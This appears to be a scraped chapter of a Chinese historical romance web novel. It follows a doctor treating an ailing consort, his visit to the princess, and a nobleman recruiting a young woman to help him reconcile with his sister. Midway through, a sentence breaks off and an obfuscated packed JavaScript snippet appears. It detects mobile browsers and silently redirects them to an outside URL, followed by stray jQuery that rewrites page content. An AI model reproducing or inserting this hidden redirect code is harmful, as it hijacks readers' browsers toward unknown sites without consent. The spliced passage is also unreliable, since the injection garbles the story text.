“咳咳咳……”
又是一阵剧烈的咳嗽声响起,乔玉竹捂着自己的胸口,苍白的面容因咳嗽而泛起一丝血色,扰乱了一室的寂静。
云扶风看了他一眼,松开了把住他脉的手。
乔玉竹带着一丝歉意的看向他,“咳咳……可是我干扰了云大夫把脉?”
云扶风一顿,转而给乔玉竹倒了杯茶,宽慰道:“附马爷并没有干扰到草民,脉已经把出来了……驸马请喝点水吧。”
乔玉竹摆摆手婉拒了那杯茶,问出他最关心的话:“我这身子如今怎么样?”
云扶风举着茶杯的手一僵,先将茶杯轻轻搁在桌上,表情欲言又止,最后只道:“脉沉细且弱,按之方隐,却又搏动急促,按之乏力……驸马应平心静气。”再严重些的,云扶风并没有说出来,但敏感如乔玉竹,做了十年的病人又怎会不知云扶风的言下之意?
乔玉竹胸脯起伏两下,欲要压住心中的燥意,却仍不得法。
他收回放在桌上的手,又拉下袖子盖住,忽而叹了口气,“世人皆道,长昭嫁与我是我乔玉竹八世修来的福气,可谁又知我面对这样大的福气时心中的不安?”
乔玉竹这话说的真情实感,放在平日里他是绝对不会将这话说出来的,但大概是真受了前几日的一番刺激,加上他无心中确实对云扶风多了丝信任与依赖,这才罕见的蹦出这样一句话来。
云扶风有些震惊的看他一眼,轻声道:“附马爷可是在为那日的事闹心?”
那日云扶风带着小公子回府时便敏锐的察觉到两人之间的气氛不太对,那晚把脉时,云扶风似无心的一提,乔玉竹就倒豆子似的将事情说给云扶风听。
其实也没多大的事,就是前一阵子小公子落水,公主难免对小公子的安危担忧了些,下令近期都不许小公子出府,可哪知那日就出一趟门的功夫,回来便得知小公子竟得了附马爷的授意,跟着云扶风一起出门采买药材。
那日云扶风不在公主府内,不知她二人是如何争吵的,但估计也不怎么愉快。还是后面云扶风回府告知公主他们两人出门便碰上了苏茗,将小公子托给了苏茗照料,她对小公子的气才稍微消下去了点,但却可怜了附马爷。
以往每一次把脉,昭禧长公主都会陪在一边,可观这几日把脉时,人影也未曾见到。
乔玉竹叹了一口气无奈道:“长昭这是在与我生气呢,可她现在也不肯见我,我这心火又怎能消得下去?”道完,他复又想起些什么,连忙问道:“不知这事可有牵连到云大夫?”
云扶风垂了垂睫羽,道:“附马爷不必为我担忧,公主殿下并未为难我。”
乔玉竹便轻缓的笑了笑,“也是,是我多心了,长昭她对下人一向宽厚,此事的确是我有错在先,本想着问问云大夫,又想起云大夫于这事似乎也没有什么经验……”乔玉竹说着笑了笑,“罢了,我还是找个时间亲自向长昭赔罪吧。”
乔玉竹说话之际,云扶风正好将最后一样东西收回药箱,听完乔玉竹的话他先是不置可否的笑了笑,接着细心嘱咐道:“先前的那味方子对附马爷效果不太大了,草民回去会为附马爷再拟一副,附马爷这些日子尽量心态平缓些,若是与公主殿下嫌隙渐消,想必对附马爷的病情也有好处。”
嫌隙渐消……
乔玉竹听完面色稍僵,却是有些迟疑道:“又换药方?”
光是这月就不知道换了多少副药房了,就是十年前他刚捡回一条命,身子最弱的时候换药方也从未换的这样频繁过……
他心中隐隐有些不安,皱着眉颇有些小心翼翼的问道:“云大夫……你实话告诉我,我这病是不是永远好不了了。”
云扶风觉得这话有些好笑,他从一开始来到公主府起,说的便是为他缓解失眠之症,后来失眠一症缓解的颇有成效,乔玉竹才又开口请他看腿疾,但从始至终,他的任务也只是缓解乔玉竹的痛苦,要为他根治这病,这种大话,他从未说过。
云扶风微笑着看他,只道:“驸马爷吉人自有天相。”况且……驸马爷不是还有笙笙吗?
后半段话在云扶风舌尖上转了一圈,并未说出口,他恭敬的朝乔玉竹行礼告辞,方拎着药箱慢悠悠出了房门。
乔玉竹看着男人的背影,忽而深吸两口气,放在腿上的手也慢慢收紧。
经过云扶风的诊治,他的腿不再向从前那样时不时的泛疼,可腿上那股诡异的安静,却让他心中越来越不安。
……不过,云大夫有句话说的不错,他是吉人自有天相,袖中藏着的土笙贴着他的手臂,他抬起另一只手,隔着袖子无声的摩挲着那东西,心中渐渐平静下来。
*
公主府景致处处透露着不俗的雅致,云扶风出了驸马的院子,没有急着回自己的院子,反而往相反的方向走去。
来这公主府已有半月,府中大部分人都认识他,一路走来路过不少下人,皆恭敬的唤他一声大夫,云扶风唇边扬着淡笑,一个一个温和应着。
越往后走,下人越少,直至一人都不见,沿路栽种的竹子倒是多了起来,甚至隐约传来一阵丝弦之声。
云扶风脚步放轻,登上了竹林石阶,丝弦声越来越清晰。
竹间石亭内,在外人面前素来端庄温柔的女人端坐在石桌前,一席石榴红长衫裙衬的她肤白胜雪,向来束的一丝不苟的发髻今日却未扎起,只用一根素白发带半绑着,柔顺的垂在肩头,披落在腰际,一举一动浸满了风情。
“公主。”
“铮——”
林间回荡起有些刺耳的杂音,萧长昭手还悬在琴上,眼神落在了他的身上。
“云大夫?”
萧长昭平静的看着突然出现在这里的云扶风。
这个擅闯进来的无礼之徒,脸上没有丝毫打扰到人的歉意和悔意,见她望过来还微微站直了身子任她打量。
萧长昭轻轻皱了眉头,抚在琴弦上的手有一瞬间的紧绷。
坦荡自此,倒显的她的慌乱有些此地无银三百两了。
云扶风将手中药箱搁置一边的石阶上,俯身对着萧长昭做了个端正的大礼,语气不卑不亢犹如清风朗月,“草民来此向公主汇报驸马爷的病情一事。”
萧长昭的绷紧的指尖陡然一松,心中微微安定些许。
云扶风这才注意到萧长昭的脸色,歉意的说道:“可是草民打扰到了公主殿下……草民知罪……”
“不必了。”萧长昭抬手打断了云扶风的话,她神情疲累的揉了揉眉心,道:“过来吧。”
*
罗绮双手规矩的放在膝上,眼神时不时有些局促的瞟一眼对面男人。
她心中微微有些忐忑,不知他来自己干吗,对面这位公子哥倒是看着挺闲适的样子,见她面前茶杯空了,还想帮她添上。
罗绮双眼一睁,连忙伸手去挡,“不用了不用了,多谢苏二公子……”
她本就不喜喝苦茶,方才碍于他尚书府公子的面子喝下一杯,她现在都觉胃中苦水快要返上来似的。
苏若望一顿,点点头才收回了手。
罗绮深吸一口气,抬头看向对面的人,“苏二公子,您有什么事,不妨直接说吧。”
罗绮道完这句话,明显感觉到对面人紧绷的嘴角都松懈了几分。
他点点头,看着她的眼神都多了几分善意:“罗小姐倒是个爽快人。”
既然她都如此爽快,那自己也不必扭捏,苏若望肃起神色认真道:“帮我做一件事,你弟弟今年季考之末我保他过。”
话音还未落地,罗绮脑袋一下子就抬了起来。
要是放在以前,就依她弟弟那个德行,依靠旁人拿个只能骗得过自己的假考绩是一点用处都没有的。
但今时不同往日,罗延若真想参选金吾卫,就他在国子监里的那个考绩,绝对是第一批被刷下来的人,但若是有苏若望批的红……
可比起的喜悦,罗绮心中的狐疑和震惊却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853413|173586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是更胜一筹,在国子监中,这苏若望的古板和刚正不阿的作风可是出了名的,谁会想到他竟会用国子监的职权求人办事?
不等罗绮思考清楚,对面男人再次开了口,这次声音甚至隐隐带了些许蛊惑。
“在下偶然听国子监先生提起过,上完这学季,你弟弟想去参选金吾卫?只要学院能过的了我这一关,想必对你弟弟来说,进金吾卫的难度便会大大降低吧。”
“可以。”罗绮干脆出声,眼神中充满着坚定,豪气道:“有什么事苏二公子尽管说就是了。”
苏若望不出所料的笑了笑,“那便,请罗小姐跟在下走一趟吧。”
…………
半个时辰之后。
罗绮坐在马车上看着离自己越来越近的临安侯府牌匾,一时有些恍惚。
他这是……
罗绮沉吟一瞬,明白了过来。
看样子这位苏老虎还没和自己三妹妹和好,这是没招了才来找的她啊。
原以为两人在茗儿回门那日就能和好呢,没想到……
罗绮偷偷瞥了眼坐在另一头面色一本正经的男人。
原来不近人情的苏老虎也有搞不定的人。
挂着苏府字样的马车一停下,守在侯府门口的侍卫就急忙跑了进去通报,待二人下了马车,年老的管家便亲自出来将两人迎进府内。
“公子在前厅歇息片刻,老奴这就请夫人来。”
“不必了,我与三妹妹之间没有那些虚礼,直接带我过去找她便是。”
管家没有迟疑多久,恭顺的应了声是,将两人引向后院。
罗绮显然还没有这方面的经验,于是她在苏若望转身往前走的那一刹那拽了下他的袖子,见他望过来又飞快的放下,小声而又快速道:"那我得会儿怎么做你总得告诉我一声吧。"
苏若望拉了一下自己的袖子,冷静回道:“不用你说什么,应和我两句便好。”
“哦……”
两人到苏茗院子里的时候,苏茗正半躺在树下的贵妃榻上,面前还放着一张小桌,桌上摆着些纸张,菘蓝坐在桌前拿着笔在纸上写着些什么,苏茗偶尔探身看两眼。
见着两人来,苏茗惊讶的怔愣在原地。
罗绮来是正常的,苏若望来也是正常的,但两人一起出现,这怎么看都不正常……
苏茗下意识往天上看了眼。
几乎要怀疑今日太阳是打西边出来了还是她做梦没醒呢……
正当她欲要掐一下自己手臂之时,她二哥走到她面前开口说话了。
“茗儿这是在晒太阳呢?”
苏茗抬头愣愣回道:“昂。”
罗绮从苏若望身后窜出来,不经意瞥了眼桌上的物什。
“茗儿是在写拜帖才对。”说完,她还向苏茗确认了一遍:“对吧茗儿。”
苏茗慢慢反应过来,看了眼桌上随意摆放着的请柬信纸,又点头应道:“没错,我现在在写拜帖。”
说罢,她直起身子,有些好奇的盯着两人瞧,她和苏若望原本还在闹别扭,虽说她的气已经差不多消了,但面对他多少还是有些别扭的,但此刻看着两个让她生气的当事人如同什么事都没发生过一般和谐的站在一起,苏茗仅剩的一点气也被奇异给替代。
“二哥,罗绮,你们这是……”
苏若望回道:“路上碰到罗姑娘,她刚好也要来找你,我便正好捎她一程。”
话音刚落,罗绮便在一旁忙不迭的点头:“没错,就是这样的,说来我还要好好感谢苏二公子呢,若是没有他,我可能得很晚才能见到你。”
苏茗面上疑惑更深,“啊?”
“茗儿不若先请二哥进茶室,路上炎热,罗小姐方才在马车上便四处找水喝。”苏若望神色淡定的胡说八道。
罗绮迟疑一秒立马接上了话,“对呀对呀,苏府马车上的水都被我喝完了,可是我还是好渴,茗儿快请我喝杯茶吧。”
…